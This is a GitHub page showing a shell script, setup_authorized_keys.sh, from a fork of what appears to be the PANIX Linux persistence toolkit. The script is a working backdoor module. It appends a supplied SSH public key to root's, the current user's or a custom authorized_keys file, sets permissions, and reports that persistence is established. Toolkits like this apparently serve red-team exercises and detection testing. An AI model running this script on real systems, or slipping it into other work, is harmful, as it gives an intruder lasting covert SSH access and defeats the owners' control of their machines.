forked from Aegrah/PANIX
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsetup_authorized_keys.sh
103 lines (97 loc) · 2.91 KB
/
setup_authorized_keys.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
setup_authorized_keys() {
local key=""
local path=""
local default=0
local custom=0
usage_authorized_keys() {
if check_root; then
echo "Usage: ./panix.sh --authorized-keys [OPTIONS]"
echo "Root User Options:"
echo "--examples Display command examples"
echo "--default Use default authorized keys settings"
echo " --key <key> Specify the public key"
echo "--custom Use custom authorized keys settings"
echo " --key <key> Specify the public key"
echo " --path <path> Specify custom authorized keys file path"
echo "--help|-h Show this help message"
else
echo "Usage: ./panix.sh --authorized-keys [OPTIONS]"
echo "Low Privileged User Options:"
echo "--examples Display command examples"
echo "--default Use default authorized keys settings"
echo " --key <key> Specify the public key"
echo "--help|-h Show this help message"
fi
}
while [[ "$1" != "" ]]; do
case $1 in
--default )
default=1
;;
--custom )
custom=1
;;
--key )
shift
key=$1
;;
--path )
shift
path=$1
;;
--examples )
echo "Examples:"
echo "--default:"
echo "./panix.sh --authorized-keys --default --key <public_key>"
echo ""
echo "--custom:"
echo "sudo ./panix.sh --authorized-keys --custom --key <public_key> --path /home/user/.ssh/authorized_keys"
exit 0
;;
--help|-h)
usage_authorized_keys
exit 0
;;
* )
echo "Invalid option for --authorized-keys: $1"
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
esac
shift
done
if [[ $default -eq 1 && $custom -eq 1 ]]; then
echo "Error: --default and --custom cannot be specified together."
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
elif [[ -z $key ]]; then
echo "Error: --key must be specified."
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
fi
if check_root; then
if [[ $default -eq 1 ]]; then
path="/root/.ssh/authorized_keys"
elif [[ $custom -eq 1 && -n $path ]]; then
mkdir -p $(dirname $path)
else
echo "Error: --path must be specified with --custom for root."
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
fi
else
if [[ $default -eq 1 ]]; then
local current_user=$(whoami)
path="/home/$current_user/.ssh/authorized_keys"
else
echo "Error: Only root can use --custom for --authorized-keys."
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
fi
fi
mkdir -p $(dirname $path)
echo "[+] Backing up authorized_keys file to $path.bak"
cp $path $path.bak
echo $key >> $path
chmod 600 $path
echo "[+] Authorized_keys persistence established!"
}